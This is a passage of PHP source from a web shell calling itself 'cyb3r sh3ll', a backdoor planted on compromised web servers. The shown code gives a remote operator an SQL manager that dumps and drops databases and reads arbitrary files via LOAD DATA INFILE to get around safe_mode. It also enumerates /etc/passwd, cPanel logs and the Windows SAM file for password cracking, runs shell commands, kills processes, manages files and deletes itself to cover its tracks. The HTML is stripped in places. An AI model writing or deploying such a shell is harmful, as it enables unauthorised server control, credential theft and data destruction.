";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
$sql_surl = $surl."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
?>Attention! SQL-Manager is NOT ready module! Don't reports bugs.
SQL Manager: ";
if (!$sql_sock)
{
if (!$sql_server) {echo "NO CONNECTION";}
else {echo "Can't connect "; echo "".$err." ";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$surl."act=sql");
echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo " ";
}
echo " ";
if (!$sql_sock) {?>
i
If login is null, login is owner of process.
If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Username Password Database
">Home ".htmlspecialchars($sql_db)." ]--- ";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else
{
?>Home ";
//Start center panel
$diplay = TRUE;
if ($sql_db)
{
if (!is_numeric($c)) {$c = 0;}
if ($c == 0) {$c = "no";}
echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
echo " ";
$acts = array("","dump");
if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
elseif ($sql_tbl_act == "insert")
{
if ($sql_tbl_insert_radio == 1)
{
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
$sql_act = "query";
$sql_tbl_act = "browse";
}
elseif ($sql_tbl_insert_radio == 2)
{
$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
$result = mysql_query($sql_query) or print(mysql_smarterror());
$result = mysql_fetch_array($result, MYSQL_ASSOC);
$sql_act = "query";
$sql_tbl_act = "browse";
}
}
if ($sql_act == "query")
{
echo " ";
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "";}
}
if (in_array($sql_act,$acts))
{
?>";}
if ($sql_act == "newtbl")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
}
elseif ($sql_act == "dump")
{
if (empty($submit))
{
$diplay = FALSE;
echo "SQL-Dump: ";
echo "DB: ";
$v = join (";",$dmptbls);
echo "Only tables (explode \";\") 1 : ";
if ($dump_file) {$tmp = $dump_file;}
else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
echo "File: ";
echo "Download: ";
echo "Save to file: ";
echo "1 - all, if empty";
echo " ";
}
else
{
$diplay = TRUE;
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "download";
$set["print"] = 0;
$set["nl2br"] = 0;
$set[""] = 0;
$set["file"] = $dump_file;
$set["add_drop"] = TRUE;
$set["onlytabs"] = array();
if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
$ret = mysql_dump($set);
if ($sql_dump_download)
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($ret));
header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
echo $ret;
exit;
}
elseif ($sql_dump_savetofile)
{
$fp = fopen($sql_dump_file,"w");
if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
else
{
fwrite($fp,$ret);
fclose($fp);
echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
}
}
else {echo "Dump: nothing to do! ";}
}
}
if ($diplay)
{
if (!empty($sql_tbl))
{
if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
$count_row = mysql_fetch_array($count);
mysql_free_result($count);
$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
$tbl_struct_fields = array();
while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
$perpage = $sql_tbl_le - $sql_tbl_ls;
if (!is_numeric($perpage)) {$perpage = 10;}
$numpages = $count_row[0]/$perpage;
$e = explode(" ",$sql_order);
if (count($e) == 2)
{
if ($e[0] == "d") {$asc_desc = "DESC";}
else {$asc_desc = "ASC";}
$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
}
else {$v = "";}
$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
$result = mysql_query($query) or print(mysql_smarterror());
echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
echo "[ Structure ] ";
echo "[ Browse ] ";
echo "[ Dump ] ";
echo "[ Insert ] ";
if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
if ($sql_tbl_act == "insert")
{
if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
if (!empty($sql_tbl_insert_radio))
{
}
else
{
echo "Inserting row into table: ";
if (!empty($sql_tbl_insert_q))
{
$sql_query = "SELECT * FROM `".$sql_tbl."`";
$sql_query .= " WHERE".$sql_tbl_insert_q;
$sql_query .= " LIMIT 1;";
$result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
$values = mysql_fetch_assoc($result);
mysql_free_result($result);
}
else {$values = array();}
echo " ";
echo "Insert as new row ";
if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
echo " ";
}
}
if ($sql_tbl_act == "browse")
{
$sql_tbl_ls = abs($sql_tbl_ls);
$sql_tbl_le = abs($sql_tbl_le);
echo " ";
echo " ";
$b = 0;
for($i=0;$i<$numpages;$i++)
{
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
echo $i;
if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
else {echo " ";}
}
if ($i == 0) {echo "empty";}
echo "From: To: ";
echo "";
echo "With selected: ";
echo "Delete ";
echo "
";
}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
if (!$result) {echo mysql_smarterror();}
else
{
echo "";
echo "With selected: ";
echo "Drop ";
echo "Empty ";
echo "Dump ";
echo "Check table ";
echo "Optimize table ";
echo "Repair table ";
echo "Analyze table ";
echo "
";
mysql_free_result($result);
}
}
}
}
}
else
{
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_act,$acts)) {?>";
if ($sql_act == "newdb")
{
echo "";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
}
if ($sql_act == "serverstatus")
{
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "Server-status variables: ";
echo "Name Value ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
echo "
";
mysql_free_result($result);
}
if ($sql_act == "servervars")
{
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "Server variables: ";
echo "Name Value ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
echo "
";
mysql_free_result($result);
}
if ($sql_act == "processes")
{
if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "Processes: ";
echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
echo "
";
mysql_free_result($result);
}
if ($sql_act == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "Error in reading file (permision denied)! ";}
else
{
for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb); //comment it if you want to leave database
}
}
}
}
echo "
";
if ($sql_sock)
{
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo " Affected rows: ".$affected." ";
}
echo "
";
}
if ($act == "mkdir")
{
if ($mkdir != $d)
{
if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
echo " ";
}
$act = $dspact = "ls";
}
if ($act == "d")
{
if (!is_dir($d)) {echo "Permision denied! ";}
else
{
echo "Directory information: ";
if (!$win)
{
echo "Owner/Group ";
$ow = posix_getpwuid(fileowner($d));
$gr = posix_getgrgid(filegroup($d));
$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
}
echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
}
}
if ($act == "security")
{
echo "Server security information: Open base dir: ".$hopenbasedir." ";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd: ";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "From: To: ";
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir"] = "".$uid["dir"]." ";
echo join(":",$uid)." ";
}
$i++;
}
}
else {echo "Get /etc/passwd ";}
}
else
{
$v = $_SERVER["WINDIR"]."\repair\sam";
if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
}
if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
displaysecinfo("Is cURL installed?",myshellexec("which curl"));
displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
displaysecinfo("Is links installed?",myshellexec("which links"));
displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
displaysecinfo("Is GET installed?",myshellexec("which GET"));
displaysecinfo("Is perl installed?",myshellexec("which perl"));
displaysecinfo("Where is apache",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
if ($act == "mkfile")
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = "ls";}
}
if ($act == "encoder")
{
echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
foreach(array("md5","crypt","sha1","crc32") as $v)
{
echo $v." - ";
}
echo " Url: urlencode -
urldecode -
Base64: base64_encode - ";
echo "base64_decode - ";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
else
{
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("\0","[0]",$debase64);
$a = explode("\r\n",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) {echo " ";}
else {$rows++; echo "".$debase64." ";}
echo " ^ ";
}
echo " Base convertations :dec2hex - ";
}
if ($act == "selfremove")
{
if (($submit == $rndcode) and ($submit != ""))
{
if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using cyb3r sh3ll v.".$shver."!"; cyb3rexit(); }
else {echo "Can't delete ".__FILE__."! ";}
}
else
{
if (!empty($rndcode)) {echo "Error: Incorrect Confimation! ";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
}
}
if ($act == "serverinfo")
{
global $windows,$disablefunctions,$safemode;
$cwd= getcwd();
$mil="$osn ",$os);
$os = str_replace($ker,"${mil}Linux+Kernel\">$ker ",$os);
$inpa=':';
}else{
$sam = $sysroot."\\system32\\config\\SAM";
$inpa=';';
$os = str_replace($osn,"${mil}MS+Windows\">$osn ",$os);
}
$software=str_replace("Apache","${mil}Apache\">Apache ",$_SERVER['SERVER_SOFTWARE']);
echo "
Server information:
Server:
".$_SERVER["HTTP_HOST"];
if (!empty($_SERVER["SERVER_ADDR"])){
echo "(". $_SERVER["SERVER_ADDR"] .")";}
echo "
Operation System: $os$osver
Web server Application: $software
CPU: $CPU
Disk status: $disksize
User domain: ";
if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];
else echo "Unknown";
echo "
User Name :
";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();
else echo "Unknown"; echo " ";
if ($windows){
echo "
Windows directory: $sysroot
Sam file: ";
if (is_readable(($sam)))echo "
Readable "; else echo "Not readable";echo " ";
}
else
{
echo "Passwd file: ";
if (is_readable('/etc/passwd')) echo "
Readable "; else echo'Not readable';echo " Cpanel log file: ";
if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "Readable "; else echo "Not readable";}else echo "Not found";
echo " ";
}
$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
echo "
${mil}PHP\">PHP version:
".PHP_VERSION."
(more... )
Zend version:
";if (function_exists('zend_version')) echo "".zend_version()." ";
else echo "Not Found";echo "
Include path:
".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."
PHP Modules:
";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";
echo " Disabled functions: ";
if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"
Safe mode: $sfmode
Open base dir: $basedir
DBMS:
";$sq="";
if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL ";
if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL ";
if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle ";
if(function_exists('sqlite_open')) $sq.= " SQLite ";
if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL ";
if(function_exists('msql_connect')) $sq.= " mSQL ";
if(function_exists('mysqli_connect'))$sq.= " MySQLi ";
if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";
if ($sq=="") $sq= "Nothing";
echo "$sq ";if (function_exists('curl_init')) echo "cURL support: Enabled ";
if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo " ";echo "
";
}
if ($act == "clientinfo")
{
echo "User information :IP: ".$_SERVER['REMOTE_ADDR']." Agent: ".getenv('HTTP_USER_AGENT')."
";
}
if ($act == "processes")
{
echo "Processes: ";
if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
else {$handler = "tasklist";}
$ret = myshellexec($handler);
if (!$ret) {echo "Can't execute \"".$handler."\"!";}
else
{
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {$y = " ";}
else {$y = " ";}
$ret = htmlspecialchars($ret);
if (!$win)
{
if ($pid)
{
if (is_null($sig)) {$sig = 9;}
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) {echo "OK.";}
else {echo "ERROR.";}
}
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("\n",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i".$head[$i]." ";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = "".$line[0]." ";}
$line[] = "KILL ";
$prcs[] = $line;
echo " ";
}
}
}
else
{
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("\n",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode("",$stack[0]);
$head[1] = explode(" ",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != "a") {$y = " ";}
else {$y = " ";}
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i".trim($head[$i])." ";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "";
$line = explode("",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(" ","",$line[2]))*1024;
$prcs[] = $line;
echo " ";
}
}
}
$head[$k] = "".$head[$k]." ".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "";
foreach($tab as $i=>$k)
{
echo "";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v." ";}
echo " ";
}
echo "
";
}
}
if ($act == "ls")
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "Can't open folder (".htmlspecialchars($d).")! ";}
else
{
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f")
{
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v)
{
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
elseif (is_dir($v))
{
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win)
{
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "Name ";
$row[] = "Size ";
$row[] = "Modify ";
if (!$win)
{$row[] = "Owner/Group ";}
$row[] = "Perms ";
$row[] = "Action ";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = "";
$y .= " ";
$row[$k] .= $y;
for($i=0;$i".$row[$i]."";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d")
{
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a)
{
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
foreach ($regxp_highlight as $r)
{
if (ereg($r[0],$o))
{
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; cyb3rexit();}
else
{
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
{
if (empty($r[2])) {$r[2] = ""; $r[3] = " ";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".")
{
$row[] = " ".$o." ";
$row[] = "LINK";
}
elseif ($o == "..")
{
$row[] = " ".$o." ";
$row[] = "LINK";
}
elseif (is_dir($v))
{
if (is_link($v))
{
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = " [".$disppath."] ";
}
else
{
$type = "DIR";
$row[] = " [".$disppath."] ";
}
$row[] = $type;
}
elseif(is_file($v))
{
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = " ".$disppath." ";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "".view_perms_color($v)." ";
if ($o == ".") {$checkbox = " "; $i--;}
else {$checkbox = " ";}
if (is_dir($v)) {$row[] = " ".$checkbox;}
else {$row[] = " ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders): ";
foreach($table as $row)
{
